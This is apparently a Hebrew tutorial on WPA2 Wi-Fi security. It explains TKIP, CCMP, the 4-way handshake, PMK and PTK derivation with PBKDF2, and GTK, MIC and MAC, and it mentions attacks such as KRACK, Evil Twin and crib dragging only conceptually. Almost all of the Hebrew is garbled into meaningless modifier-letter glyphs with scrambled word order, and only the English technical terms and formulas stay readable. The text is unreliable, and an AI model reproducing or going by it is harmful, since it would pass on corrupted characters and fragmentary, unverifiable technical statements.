Personal ˪˰ ˯ˣ˯˧˟ ˞ˣˢ ˣ˸ˣ˰ˬ˷ˬˣ ˫˧˧ˮ˷ˢ ˭˧˟ˬ ˳ˣ˲ˮˢ ˞ˣˢ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲ ,PSK - Pre Shared Key ˞˯˶ˠˢ .

 ˪˷ ˸˲˯ˣˮˢWPA2 ) ˫˧ˮˣˠ˶˞˪ ˷ˣˬ˧˷ˢ ˸˶ˣ˴˸˟ ˢ˰˧ˠˬWPA2-Enterprise ˯˯ˣ˟ˬ ˸ˣˬ˧˞ ˨˧˪ˢ˸ ˣˮ˧ˢˣ (

 ˧˸˶˷RADIUSˬ ˞˪ ˸ˣˬ˧˞ˢ ˨˧˪ˢ˸ ˧ˮ˷˟˷ ˞ˣˢ ˫˧˧ˮ˷ˢ ˭˧˟ ˧˶˵˧˰ˢ ˪ˡ˟ˢˢ . ˪˰ ˞˪˞ ˟˸ˮ˟ ˸˧ˬˣ˵ˬ ˰˴˟˸

.˱˯ˣˮ ˸˶˷ ˧ˡ˧ 

 ˧ˣ˦˧˟ˢ ˸˞ ˫˧˶˞˸ˬ ˣˮ˞ ˶˷˞˩WPA2-PSK  ˪˰ ˯˯ˣ˟ˬ ˸ˣˬ˧˞ˢ ˨˧˪ˢ˸˷ ˢˡ˟ˣ˰ˢ ˸˞ ˫˧˶˞˸ˬ ˫˴˰˟ ˣˮ˞

 ˸˦˧˷˟ ˭ˣˡ˪ ˶ˣ˟˰ˮ ˶˷˞˩ .ˢˬ˴˰ ˢˮ˲˴ˢˢ ˭˲ˣ˞ ˸˞ ˫˧˶˧˩ˤˬ ˣˮ˞ ˭˧˞ ˧˩ ˸˞ˤ ˭˧˟ˢ˪ ˟ˣ˷˥ .˱˸ˣ˷ˬ ˥˸˲ˬ

 ˭˧˟ ˸ˮˣˣˠˬˢ ˢ˶˧˥˟˪ ˫˧˶˟ˣ˰ ˣˮ˥ˮ˞ ˢˬ˴˰ ˢˮ˲˴ˢˢCCMP ˪-TKIP ˸ˣ˟˷˥ˮ ˣ˪˪ˢ ˸ˣ˧ˠˣ˪ˣˮ˩˦ˢ ˧˸˷ .

 .ˣ˪˪ˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˷ ˢ˶˧˵˯ˬ ˪˧˥˸ˮ .˫ˣ˧ˢ ˫ˠˣ ˶˟˰˟ ˡˣ˞ˬ ˸ˣ˥˦˟ˣ˞ˬ 

TKIP - Temporal Key Integrity Protocol 

 ˧ˡ˧ ˪˰ ˠ˴ˣˢˣ ˸˧˯˥˧ ˭˷ˣ˧ˬ˪ ˟˷˥ˮ ˪˽ˮˢ ˪ˣ˵ˣ˦ˣ˶˲ˢIEEE  ˪ˣ˵ˣ˦ˣ˶˲ ˫˰ ˡ˥˧˟WPA  ˣ˸˶˦ˬ .˭ˣ˷˞˶ˢ

ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ ˣ˷˥˶˸ˢ˷ ˸ˣ˧˰˟ˢ ˟ˣ˶ ˸˞ ˰ˣˮˬ˪ ˢ˧ˢ ˪ˣ˵ˣ˦ˣ˶˲ˢ ˸ˠ˴ˢ˟ ˭ˣˠ˶˞ˢ ˪˷ ˸˧˶˵˧˰ˢ-WEP 

 ,ˢ˧ˢ˷˩ ˶˞˷ˮ ˢˮ˲˴ˢˢ ˪ˣ˵ˣ˦ˣ˶˲ .˫˧˧˶˵˧˰ ˫˧˧ˣˮ˧˷ ˢˬ˩ ˣˠ˴ˣˢ ˭˩˪ .˫ˡˣ˵ ˭˞˩ ˶˵˯ˮ˷RC4  ˠˣ˯ˬ ˣˮ˧ˢ˷

Stream) ˸ˣ˥˸˲ˬ ˪ˣ˟˶˰ ˨˧˪ˢ˸ ˯ˮ˩ˣˢ ,˸˞ˤ ˫˰ ˡ˥˧ .Key Mixing ˫˰ ˡ˥˧ (IV ˦ˢ ˭ˣˮˠˮˬ ˪ˣ˥˸˞ ˫˶-

RC4 ˯ˮ˩ˣˢ ˱˯ˣˮ˟ .counter  ˢˡ˧ˬ˟ .˶ˡ˯˪ ˳ˣ˥ˬ ˸ˣ˪˧˟˥ ˪˷ ˢ˵˶ˤˢ ˭˧˞˷ ˞ˡˣˣ˪ ˸ˮˬ ˪˰ ˸ˣ˪˧˟˥ˢ ˨ˣ˸˪

 ˰˴˟˧ ˶˧˷˩ˬˢ ˸ˣ˪˧˟˥ˢ ˶ˡ˯˪ ˳ˣ˥ˬ ˢ˰ˡˣˢ ˪˟˵˧ ˟˧˩˶ˣdrop ˱˶ˣ˴ˬ ˢ˪˧˟˥ ˪˩˪ ;˟˧˟˥ ˭ˣ˶˥˞ ˧ˣˮ˧˷ .MIC 

 ˶ˣ˴˧˵)Message Integirty Check ˨˶ˣ˞˟ (64bit˪˪ˢ ˫˧˶˟ˡˢ ˪˩ . ˪˷ ˧˶˵˧˰ˢ ˭ˣ˧˰˶ˢ ˟˧˟˯ ˣˡ˥˞˸ˢ ˣ

 ˶˷˞ ˸ˣ˲˵˸ˢ ˪˷ ˭ˣˣˠˬ˪ ˫˧˷˧ˠ˶ ˫˧˧˶˦ˬ˧˯ ˫˧ˮ˲˴ .˸ˣ˪˧˟˥ˢ ˸ˮ˲˴ˢ˪ ˥˸˲ˬ ˣ˸ˣ˞˟ ˷ˣˬ˧˷ ˸˰˧ˮˬ

ˢ ˞˧ˢ ˶˸ˣ˧˟ ˢ˰ˣˡ˧ˢ ˶˷˞˩ ˥˸˲ˬ ˪˷ ˟ˣ˶˵/˶ˤˣ˥ ˷ˣˬ˧˷ ˪˰ ˸ˣ˯˯ˣ˟ˬˢ ˢ˲˵˸Known Plain Text Attack 

) ˢ˪˧˟˥˟ ˫˧ˣ˯ˬ ˰ˡ˧ˬ ˪˷ ˫ˣ˧˵ ˥˧ˮˢ˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ˢ˟TCP Headers , HTTP Headers'ˣ˩ˣ , ˸ˣ˯ˮ˪ ˫˷ˬˣ (

˪ ˸ˣ˥˸˲ˬˢ ˶˞˷ ˸˞ ˶ˣˤˠ˪ ˣˮˬˬˣ ˫˧˞˸ˬ ˥˸˲ˬ ˽˶ˣ˸˲˪˽-session . 

CCMP - CCM mode Protocol 

ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ ˣ˪ˠ˸ˢ ˶˷˞ ˸ˣ˶ˣˬ˥ˢ ˸ˣ˧˰˟ˢ ˸˞ ˰ˣˮˬ˪ ˡ˰ˣˮ ˣ˟ˣ˴˧˰ ˶˵˧˰˷ ˪ˣ˵ˣ˦ˣ˶˲˟ ˶˟ˣˡˬ ˭˞˩ ˫ˠ-

WEP ˞ˣˢ ˫˧˧˦ˣ˥˪˞ ˫˧ˮ˵˸˟ ˸ˣ˧ˣ˴ˬˢ ˢˮˠˢˢ ˸ˣ˪˧˟˥ ˶˞˷ ˭˧˟ˬ ˶˸ˣ˧˟ ˧˸ˣ˰ˬ˷ˬˢˣ ˧˶˵˧˰ˢ ˪ˡ˟ˢˢ .

 ˠˣ˯ˬ ˞˪ˣ ˵ˣ˪˟ ˠˣ˯ˬ ˸˧˶˦ˬ˧˯ ˢˮ˲˴ˢ ˸˪˧˟˥ ˪˰ ˯˧˯˟ˢStream ˫ˠ˷ ˭˧˧˴˪ ˟ˣ˷˥ .CCMP  ˫ˠˣTKIP  ˫ˮ˧ˢ

ˣ ˭˧˧˲˞˪ ˫˧ˡ˰ˣ˧ˬˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲"˶ˡ˯˪"  ˸ˣ˥˸˲ˬ ˸˲˪˥ˢ ,ˢˮ˲˴ˢ ,˸ˣˬ˧˞˪ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˧ˠˣ˯ˢ ˪˩ ˸˞

 .ˢ˷˧ˠ ˸˶˵˟ˣ 
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˷ ˸ˣ˶ˬ˪-CCMP  ˸ˣˬ˧˞ˢˣ ˢˮ˲˴ˢˢ ˨˧˪ˢ˸ ˪˩ ˸˞ ˶˧ˡˠˢ˪ ˡ˰ˣ˧ˬˢ ˪ˣ˵ˣ˦ˣ˶˲ ˣˮ˧ˢ ,˶ˤ ˪ˣ˵ˣ˦ˣ˶˲ ˰ˬ˷ˮ

 ˪˰ ˸˯˯ˣ˟ˬ ˢˮ˲˴ˢˢ ˶˷˞˩AES  .˰ˣˡ˧ˢˣ ˫˯˶ˣ˲ˬˢ 

:˫˧˞˟ˢ ˫˧˟˪˷ˢˬ ˟˩˶ˣˬ ˢˮ˲˴ˢˢ ˨˧˪ˢ˸ 

1. ) ˢ˥˧˪˷˪ ˢ˰ˡˣˢ ˪˟˵ˬ ˭˵˸ˢˢMPDUˢ ˸˞ ˸˪˪ˣ˩ ˸˞ˤˢ ˢ˰ˡˣˢˢ .(-Headers  .˫˧ˬ˧˞˸ˬˢ

ˢ ˸˟ˣ˸˩-MAC  .˶˸ˣ˧ ˶˥ˣ˞ˬ ˟˪˷˪ ˸˶ˬ˷ˮˣ ˸˵˸˰ˣˬ 

2. ˬ-Headers ˢ ˸˰ˡˣˢ ˪˷-MPDU  ˟˷ˣ˥ˬMIC  ˨˶ˣ˞˟8  ˶˴ˣˮˣ ˫˧˦˧˟Header  ˸˰ˡˣˢ ˪˷ ˵˧˶

CCMPˢ .-MIC ˢ ˪˰ ˟˷ˣ˥ˬ-Header  ˫˰ ˡ˥˧Nonce  .˶ˤˣ˥ ˶ˣˡ˧˷ ˰ˣˮˬ˪ ˸ˮˬ ˪˰ 

3. s-MIC ˪ ˱˶ˣ˴ˬ-Data  .ˢ˰ˡˣˢˢ ˪˷ 

4. s-MIC sx-Data ˢ ˸˞ ˫˧˲˶˴ˬ ˭˩ˬ ˶˥˞˪ˣ ˢˮ˲˴ˢ ˫˧˶˟ˣ˰-Header ˢ ˪˷-CCMP. 

5. ˢ ˸˟ˣ˸˩-MAC ˪ ˸˲˶ˣ˴ˬ ˸˧˶ˣ˵ˬˢ-Headers  .˭˲˴ˣˬˢ ˰ˡ˧ˬˢ ˫˰ ˡ˥˧ ˫˧ˮ˲˴ˣˬ ˞˪˷ ˫˧˷ˡ˥ˢ

 .˸˶ˡˣ˷ˬ ˢ˰ˡˣˢˢ 

ˢ˷ ˭˧˧˴˪ ˷˧-Header ˢ ˪˷-CCMP  ˥ˮ˰˲˪ ˪ˠˣ˯ˬ ˸ˣ˧ˢ˪ ˥ˣ˵˪ˢ ˪˰˷ ˭ˣˣ˧˩ˬ ˟˪˷ ˱˞˟ ˭˲˴ˣˬ ˣˮ˧˞

ˡ˪ ˪˪˩˟ˣ) ˢ˰ˡˣˢˢ ˸˞ ˭˧˟ˢ˪ˣ˪ .(ˢ˰ˡˣˢˢ ˸˞ ˞ˣ˶˵˪ ˣ˧˪˰˷ ˸˰-header ˢ ˪˷-CCMP  ˧˸˷ ˷˧

:˸ˣ˧˶˵˧˰ ˸ˣ˶˦ˬ 

1.  ˪˷ ˱ˣ˶˧˴ ˧ˡ˧ ˪˰ ˷ˡ˥ˬ ˶ˣˡ˧˷ ˰ˣˮˬ˪Packer Number ˩ ˫ˠ ˰ˣˡ˧ˢ-PN  ˪˷ ˨˶ˣ˞˟)48- .(˦˧˟ 

2.  ˥ˮ˰˲˪ ˣ˧˪˰ ˥˸˲ˬ ˢˤ˧˞ ˸˶ˤ˰˟ ˥ˣ˵˪˪ ˶ˬ˞˧˷ ˪ˠˡ ˣˮ˷˧ ˸˧˸˴ˣ˟˵ ˢ˰ˡˣˢ˟ ˶˟ˣˡˬ ˣ˟˷ ˢ˶˵ˬ˟

 .ˢ˰ˡˣˢˢ ˸˞ 

 

 ˢˮ˲˴ˢˢ ˨˧˪ˢ˸:ˣˬ˴˰ 
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 ˢˤ˷ ˧ˮ˲ˬ ,ˢˤ ˶ˬ˞ˬ˟ ˣ˪˞ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˪˰ ˡˣ˰ ˦˶˲ˮ ˞˪ˣˮ˧˞  ,˶ˬ˞ˬˢ ˲ˣ˵˯ ˶ˣ˩ˤ˪ ˟ˣ˷˥ ˨˞

˥˸˲ˬˢ ˣ˸ˣ˞ ˸˶ˤ˰˟ ˢˮ˲˴ˢ ˷ˣˬ˧˷˪ ˡˣ˞ˬ ˫˧˷˧ˠ˶ ˣˤ ˢ˥˲˷ˬˬ ˫˧˪ˣ˵ˣ˦ˣ˶˲˷ ˷ˣˬ˧˷ ˢ˷˰ˮ ˶˷˞˩ˣ ,

 ˥˸˲ˬˢ ˣ˸ˣ˞˟ ˶ˤˣ˥-  ˪˰ ˣ˞˶˵ :˫˧ˮ˧˧ˮ˰˸ˬ˪) ˸˧˶ˣ˵ˬˢ ˢ˰ˡˣˢˢ ˸˞ ˥ˮ˰˲˪ ˭˸˧ˮ ˢ˧ˢ˧ ˸ˣ˪˵˟ ˧ˡ ˢ˲˵˸ˬˢ

"Crib Dragging.(" 

 ˫˧˧ˡ˧ ˸˴˧˥˪4 ˸˧˟˪˷ 

˸ˢ ˨˧˪ˢ-4Way Handshake  ˭˵˸˟ ˸ˮˠˣˬˢ ˸˷˶˪ ˸ˣ˶˟˥˸ˢ ˸˰˟ ˭ˣ˷˞˶ˢ ˟˪˷ˢ ˣˮ˧ˢ802.11i ˢ˶˦ˬˢˣ .

 ˞ˬˠˣˡ˪) ˢˢˡˤˬˢ ˡ˴˪ ˭ˢ ˶˷˲˞˪ ˞ˣˢ ˣ˪˷-  ˞ˬˠˣˡ˪) ˢˢˤˬˢ ˡ˴˪ ˭ˢˣ (ˢ˴˵ˢ ˸ˡˬ˰-  ˧˩ ˸ˬ˞˪ (˟˸ˮˢ

˟ ˵˧ˤ˥ˬ ˧ˮ˷ˢ ˡ˴ˢ-Shared Key-Pre ˟ ˣ˞-Pairwise Master Key  ˭˧˧ˮˣ˰ˬ ˟˸ˮˢ .ˣ˸ˣ˞ ˠ˧˴ˢ˪ ˸ˬ˞˟ ˧˪˟ˬ

 ˟˸ˮˢ ˸˞ ˸ˣˢˤ˪ ˸ˮ˧˧ˮˣ˰ˬ ˢ˴˵ˢ ˸ˡˬ˰ˣ ˧ˮˣˡˤ ˷ˬ˸˷ˬ ˣˮ˧˞ ˞ˣˢ ˧˩ ˥˧˩ˣˢ˪ ˸ˮˬ ˪˰ ˷ˬ˸˷ˬˢ ˸˞ ˸ˣˢˤ˪

˟ ˞˪ˣ ˸˧˦ˮ˸ˣ˞ ˸˷˶˟ ˶˟ˣˡˬ ˧˩ ˥˧˩ˣˢ˪ ˸ˮˬ ˪˰-Evil Twin  ˸ˣˢˡˤˢˢ ˸ˬ˯˧˯ ˸˟˧ˮˠ ˸˟ˣ˦˪ ˫˧˵ˢ ˱˵ˣ˸˷

.˸˷˶˪ 

 ˡˣ˞ˬ ˟ˣ˷˥ ˢˤ ˨˧˪ˢ ˸ˮ˟ˢ ,ˣˤˢ ˢ˟˧˯ˢ ˡ˟˪ˬ-  ˢ˲˵˸ˬˢ ˷ˣˬ˧˷ ˢ˷ˣ˰ ˢ˟ ˢ˷˪ˣ˥ˢ ˢ˞˴ˬˮ ˣ˟˷ ˧ˮ˲ˬ

KRaCK ˸ˮ˟ˢ˪ ˸˧˦ˮˣˣ˪˶ ˪"ˮˢ ˫˧ˠ˷ˣˬˢ ˸ˮ˟ˢ ,˫˧ˠ˷ˣˬ ˶˲˯ˬ ˶ˢ˟ˮ ˣ˞ˣ˟ ,˭˧˧ˮ˰ˢ ˵ˬˣ˰˪ ˪ˣ˪˴ˮ˷ ˧ˮ˲˪ ˨˞ .

ˢ ˸ˣ˸˷˶ ˫ˣ˥˸ˬ ˞˪ˣ ˢ˧˲˶ˠˣ˦˲˧˶˵ˢ ˫ˣ˥˸ˬ ˫˧˥ˣ˵˪ ˫˵˪˥ ˧˩ ˶ˣ˩ˤ˪ ˟ˣ˦ ˨˞ ,˭˧˧ˮ˰ˢ ˨˷ˬˢ-relessWi 

.˧˲˧˴˲˯ ˭˲ˣ˞˟ 

ǒ Nonce -  ˶ˣ˴˧˪ ,ˢˮ˲˴ˢˢ ˸˪ˣ˰˲ ˪˷ ˢ˧˴ˤ˧ˬˣˡˮ˞˶ˢ ˦˵˲˞ ˸˞ ˶˧˟ˠˢ˪ ˣˡ˧˵˲˸˷ ˧˞˶˵˞ ˶˲˯ˬ

 ˣˬ˩ ˸ˣ˲˵˸ˬ ˰ˣˮˬ˪ ,ˢ˪˧˟˥ˢ ˪˷ ˧˲˧˴˲˯ˢ ˰˲ˣˬ˪ ˸ˣ˧ˡˣ˥˧˧Replay Attack  ˡˣ˞ˬ ˟ˣ˷˥ ,'ˣ˩ˣ

 ˪˰ ˪˵ˢ˪ ˢ˪ˣ˪˰ ˟ˣ˷ˣ ˟ˣ˷ ˣ˧˪˰ ˢ˶ˤ˥ ,ˣ˧˪˰ ˶ˣˤ˥˪ ˞˪ˣ ˢˤˢ ˶˲˯ˬ˟ ˡ˧˥˧ ˷ˣˬ˧˷ ˸ˣ˷˰˪ ˱˵ˣ˸ˢ

 ˫˧˶ˬˣ˥ˢ ˶˞˷˟ ˸ˣ˧ˣ˴ˬ˷ ˢ˶ˡˠˢˢ ˸ˣ˶ˡˠˢˢ ˪˰ ˶ˣˬ˷ˮ ˢˤ ˶ˬ˞ˬ˟ .ˢˬ˯˧˯ˢ ˸˶˧˟˷ ˭ˣ˧˯˧ˮ ˸˰˟

˷ ˸ˣ˶ˬ˪ ˧˩ ˷˧ˠˡˮˣ ˫˧˟ˣ˸˩ˢ-Nonce  ˯˥˧˧˸ˮ ˸ˣ˟˶ ˫˧ˬ˰˲ ,˪˽ˮˢ ˧˞˶˵˞ˢ ˶˲˯ˬ˪ ˧˪˪˩ ˧ˣ˦˧˟ ˣˮ˧ˢ

 ˪˞Nonce-S  ˪˞˩Nonce ˣ ˸˷˶˪ ˶˟˥˸ˢ˪ ˷˵˟ˬˢ ˥ˣ˵˪ˢˬ ˣ˶ˣ˵ˬ˷-Nonce-A  ˟˧˩˶ˬ ˣ˶ˣ˵ˬ˷

ˬˢ ˸˶ˣ˷˵˸ˢ.˪ˢˮ 

ǒ PSK -  ˪˷ ˶ˣ˴˧˵Shared Key-Pre ˸˞ ˰˴˟˪ ˸ˮˬ ˪˰ ,ˡ˰ˣˬ ˡˣ˰˟ˬ ˫˧ˡˡ˴ˢ ˧ˮ˷ ˧"˰ ˰˟˵ˮ˷ ˡˣ˯ ,

 ˠˣ˯ˢ .ˢ˪˷ ˭˩ˣ˸ˢ ˸˞ ˱ˣ˷˥˪ ˧˪˟ˬ ˨˞ ˢ˟ ˵˧ˤ˥ˬ ˭˩˞ ˧ˮ˷ˢ ˡ˴ˢ ˧˩ ˸ˬ˞˪ ˢ˴˶˧ ˡ˴ ˪˩ ˸ˣˢˡˤˢˢ

 ˪˷ˬ˪ ˨˩) ˸ˣ˥˸˲ˬˢ ˟ˣ˷˧˥ ˨˧˪˸ˢ˟ ˣ˟ ˫˧˷ˬ˸˷ˬ ˦˪˥ˢ˟ ˨˞ ,˸˷˶˪ ˥˸˲ˬˢ ˣˮ˧˞ ˞ˣˢ ˪"ˮˢ

ˬ˸˷ˢ˪ ˭˸˧ˮ ˢ˴˵ ˸ˡˬ˰ ˪˩ ˶ˣ˟˰ ˢˮˣ˷ ˢˮ˲˴ˢ ˥˸˲ˬ˟ ˨˞ ˸˷˶˪ ˸˥˞ ˢˬ˯˧˯˟ ˷-  ˰ˮˬ˧˷ ˢˬ

.(ˢ˪ˣ˩ ˸˶ˣ˷˵˸ˢ ˸˞ ˥ˮ˰˲˪ ˸˷˶˟ ˫˧˶˥˞ ˫˧˟˧˩˶ˬ 

ǒ PMK -  ˪˷ ˶ˣ˴˧˵Pairwise Master Key ˸˶˷˟ ˷ˣˬ˧˷ ˢ˷˰ˮ ˸˷˶˟ˣ ˢˡ˧ˬ˟ ˷ˣˬ˧˷˟ ˢ˧ˢ˧ ,

˟ ˷ˣˬ˧˷ ˸˰˟ .˧ˮˣ˴˧˥ ˸ˣˢˡˤˢ-Personal-WPA2 ˢˣ ˢˤ˩˷ ˸˶˷˟ ˷ˣˬ˧˷ ˭˧˞-PSK  ˶ˣ˸˟ ˷ˬ˷ˬ

PMK˟ ˷ˣˬ˧˷ˢ ˸˰˟ ˨˞ ,-Enterprise-WPA2  ˸ˣˢˡˤˢˢ ˨˧˪ˢ ˸˰˟ˣ ˢˤ˩ ˸˶˷˟ ˷ˣˬ˧˷ˢ ˢ˷˰ˮ

˟ ˫ˠ ˷ˣˬ˧˷ ˰˴˟˸ˬ-PMK ˸˧˸˷˸˟ ˪˪˩ ˨˶ˡ˟ ˫˧˷ˬ˸˷ˬ ˢˤ˩˷ ˥˸˲ˬ ˶ˣ˴˧˧ ˸˟ˣ˦˪ .EAP 
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 ˪˷ ˶ˣ˴˧˵)Extensible Authentication Protocol ˸˧ˮˣ˴˧˥ ˧ˣˢ˧ˤ ˸ˡ˧˥˧ ˟"˰ ˸ˣˢˡˤˢ ˸˶˷˲˞ˬˢ (

˞ˬˠˣˡ˪)Active Directory   ˸˶˷ ˣ˞RADUIS (-  ˫˧˟ˣ˷˥ˢ ˸ˣ˥˸˲ˬˢ ˡ˥˞ ˞ˣˢ ˪"ˮˢ ˥˸˲ˬˢ

˸ˣˬ˧˞ˢ ˨˧˪ˢ˟ˢ .ˣ˸ˣ˞ ˶ˡ˷˪ ˢ˴˶ˮ ˞˪ ˟˪˷ ˫ˣ˷˟ .-PMK  ˸˪˰˲ˢ ˧"˰ ˶˴ˣˮPBKDF2 :˞˟ˢ ˭˲ˣ˞˟ 

PMK = PBKDF2(Hash_Function, PSK, SSID, Num_of_Hash_Iterations , 

PMK_Size_In_Bits)  

:˳ˣ˲ˮ ˷ˣˬ˧˷ ,˞ˬˠˣˡ˪ 

PMK = PBKDF2(HMACīSHA1, PSK, SSID, 4096, 256) 

 :˞˟ˢ ˶˸˞˟ ˭˧˧ˮ˰ˢ ˫˰ ˧˟˧˦˵˶˦ˮ˧˞ ˭˲ˣ˞˟ ˵˥˷˪ ˣ˪˩ˣ˸ ,ˢ˵ˬ˰ˢ ˸˟ˣ˦˪ 

https://asecuritysite.com/encryption/ssid_hm 

ǒ PTK -  ˪˷ ˶ˣ˴˧˵Pairwise Transient Key ˥˸˲ˬ ,ˢ ˪˷ ˶ˣ˟˧˥ ˞ˣˢ ˢˤ-PMK ˧˩˶˰ ˧ˮ˷ ,Nonce 

) ˟˸ˮˢ ˧"˰ ˡ˥˞ ˫˧˶˴ˣ˧ˬ˷ANonce) ˢ˴˵ˢ ˸ˡˬ˰ ˧"˰ ˧ˮ˷ˢˣ (SNonceˢ ˸ˣ˟ˣ˸˩ ,˭˩ˣ ,(-MAC  ˪˷

 (ˢˤˢ ˶ˡ˯˟) ˪"ˮˢ ˸ˣˤˣ˶˥ˬˢ ˪˪˩ ˶ˣ˟˧˥ˬ ˸˶˴ˣˮ˷ ˸ˤˣ˶˥ˬˢ ˪˰ ,ˢ˴˵ˢ ˸ˡˬ˰ ˪˷ˣ ˟˸ˮˢ

 ˫˧˪˧˰˲ˬPseudo Random Function  ˸˶˧˴˧ ˸˟ˣ˦˪HASH ˷ˢ˪ ˪˩ˣˮ ˣ˸˧˞˷:˷ˬ˸ 

PTK = PRF(PMK + AP_Nonce + WS_Nonce + EP_MAC + EP_MAC)  

ˢ ˸˞ ˫˧˶˴ˣ˧˷ ˫˧ˮˣ˸ˮˢ ˟˶˷ ˟˪ ˣˬ˧˷-PTK ˢ ˞ˣˢ ˣ˸ˣ˞ ˟˧˩˶ˬ˷ ˡ˧˥˧ˢ ˡˣ˯ˢ ,˪˪˩˪ ˫˧˰ˣˡ˧-PMK ˢˤˣ ,

ˢ ˪˷ ˣˡ˧˵˲˸ ˵ˣ˧ˡ˟-PTKˢ ˪˷ ˸˶ˤˠˮ ˸ˣˣˢ˪ ,-PMK  ˢ˰˧ˡ˧ ˥˧˦˟ˬˢ ˷ˣˬ˧˷ ˰˴˟˪ ˢ˴˶ˮ˷ ˫˰˲ ˪˩˟

ˢ ˪˷-PMK ˟ ˷ˬ˸˷ˢ˪ ˸ˬ˞˟ ˧˪˟ˬ-PMK . ˪˩˟ ˸˥˞ ˫˰˲ ˵˶ ˷ˬ˸˷ˢ˪ ˱˞˷ˮ ˣˮ˞PTK  ˪˩ .˶˴ˣˮ˷

 ˣ˸ˣ˞˟ ˷ˣˬ˧˷PTK  ˸ˡˡˣ˟ˢ ˫˰˲˪ ˶˟˰ˬ-  ,˳ˣ˶˰ˢ ˸ˣ˥˧˦˟ ˪˩ ˸˞ ˭˩˯ˬ ,˪˰ˣ˲˟ ,ˤ˞˷ ˭ˣˣ˧˩ˬ ˸˞ˤˣ

˟ ˷ˣˬ˧˷ ˢ˷˰ˮ-Nonce-.˸˥˞ ˫˰˲ˬ ˶˸ˣ˧ ˣ˶˴ˣˮ˷ ˫˧ 

ǒ GTK -  ˪˷ ˶ˣ˴˧˵Groupwise Temporal Key ˫˧˶˵ˬ˟ ˷ˣˬ˧˷˪ ˡ˰ˣˮ , ˥ˣ˪˷˪ ˨˶ˣ˴ ˷˧ ˫ˢ˟

 ˸ˣ˰ˡˣˢBroadcast x-Multicast ˟ ,˶ˣˬ˞˩) ˸˷˶˟-WPA2  ˪˩˪ ˟˸ˮˢ ˭˧˟ ˧ˡˣ˥˧˧ ˢ˥˧˷ ˥˸˲ˬ ˷˧

ˢ ˸˞ .˸ˣˢˡˤˢˢ ˨˧˪ˢ ˱ˣ˯˟ ˟˸ˮˢˬ ˪˟˵˸ˬ ˪"ˮˢ ˥˸˲ˬˢ ,(ˢ˴˵ ˸ˡˬ˰-GTK  ˨ˣ˸ˬ ˶ˤˣˠ ˟˸ˮˢ

 ˫˷˟ ˶˥˞ ˥˸˲ˬ GMK  ˪˷ ˶ˣ˴˧˵)Groupwise Master Keyˢ ˸˞ ˫˧˶ˤˣˠ ˣˮˬˬ ˥˸˲ˬˢ ,(-GTK ,

ˢ ˭˧˟˪ ˣˮ˧˟ ˯˥˧ˢ-GTK ˢ ˭˧˟ ˯˥˧˪ ˢˬˣˡ-PMK ˢ ˭˧˟˪-PTK. 

ǒ MAC -  ˪˷ ˶ˣ˴˧˵Message Authentication Code ˡ˴ ˫˰ ˫˧˶˯ˬ ˸ˣˬ˧˞ ˸ˣ˧˴˵ˮˣ˲˪ ˦˲˯ˮˣ˵ ˣˮ˧ˢ ,

 ˶˯ˬ) ˸ˤˣ˶˥ˬ ˸ˣ˪˟˵ˬ ˭ˢ :˞˟ˢ ˭˲ˣ˞˟ ˡ˟ˣ˰ ˭ˢ˟ ˷ˣˬ˧˷ˢ .˷˞˶ˬ ˥˸˲ˬ ˣˮ˵˪˥ ˣ˸˧˞˷ ˸ˬ˞ˬ

 ˢ˧ˢ˧ ˭ˢ˪˷ ˶˴ˣ˸ˢ ,˥˸˲ˬˣ (˧˞˶˵˞Authenticator " ˣ˞)Tag ("-  ˥ˣ˪˷˪ ˭˸˧ˮ ˢ˸ˣ˞˷ ˸ˤˣ˶˥ˬ

 ˸˞ ˣ˧˪˰ ˪˧˰˲ˢ˪ ,˶˯ˬˢ ˸˞ ˸˥˵˪ ˪˩ˣ˧ ˸ˬ˞ˬˢ ˡ˴ˢ .˸ˬ˞ˬˢ ˡ˴˪ ˧˶ˣ˵ˬˢ ˶˯ˬˢ ˫˰ ˡ˥˧˟

 ˢˢˤ ˸˞˴ˣ˧ ˢ˞˴ˣ˸ˢˣ ˢˡ˧ˬ˟ˣ ,ˣ˧ˡ˧˟ ˞˴ˬˮ˷ ˥˸˲ˬ ˫˰ ˢ˧˴˵ˮˣ˲ˢ ˢ˸ˣ˞-  ˡ˴ˢ˷ ˰ˡˣ˧ ˞ˣˢ

ˠ˷ˣˬˢ .˞ˣˢ ˫ˠ ˥˸˲ˬ˟ ˵˧ˤ˥ˬ ˸ˬ˞˸ˬˢMIC   ˪˷ ˶ˣ˴˧˵)Integrity Code Message ˣ˟ˣ˶˟ ˢˢˤ (

 ˠ˷ˣˬ˪ ˦˪˥ˣˬˢMAC  ˠ˷ˣˬˢ ˫˰ ˭˧˟ ˪ˣ˟˪˟ ˶˴ˣˣ˧˧ ˞˪˷ ˧ˡ˩ (˫˧˶˵ˬˢ ˟˶˟) ˣ˟ ˫˧˷ˬ˸˷ˬˣ

Media Access Control  ˫ˢ˟˷ ˫˧˶˵ˬ˟ ˧˩ ˱˧˯ˣˢ˪ ˟ˣ˷˥ ,˸˞ˤ ˫˰ .˸˶ˣ˷˵˸ˢ ˸ˣ˸˷˶ ˫˪ˣ˰ˬ

https://asecuritysite.com/encryption/ssid_hm
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 ˪˰ ˫˧˶˟ˡˬMIC ˬ ˞˪˪ ˟ˣ˟˧ˠ ˸ˣ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷˪ ˫˧ˮˣˣ˩˸ˬ ,˪ˣ˟˪˟ˢ ˸˞ ˰ˣˮˬ˪ ˧ˡ˩ ˞˪ˣ ˥˸˲

.˧ˮˣ˴˧˥ 

 ˸ˣ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˸˶ˤ˰˟MAC :˫˧˶˟ˡ ˧ˮ˷ ˸ˬ˞˪ ˭˸˧ˮ ˢ˪˞ 

¶  ˸˧˷˞˶-  ˭˲ˣ˴ˢ ˸˞ˣ ˧˞˶˵˞ ˶˵˯ˬ ˥ˣ˪˷˪ ˪˩ˣ˧ ˥˸˲ˬ˟ ˵˧ˤ˥ˬˢ ˥˪ˣ˷ ˵˶ ,˥˪ˣ˷ˢ ˸ˣ˧˦ˮ˸ˣ˞ ˸˞

 .˭ˣ˩ˮˢ ˥˸˲ˬˢ ˫˰ ˣ˪˷ 

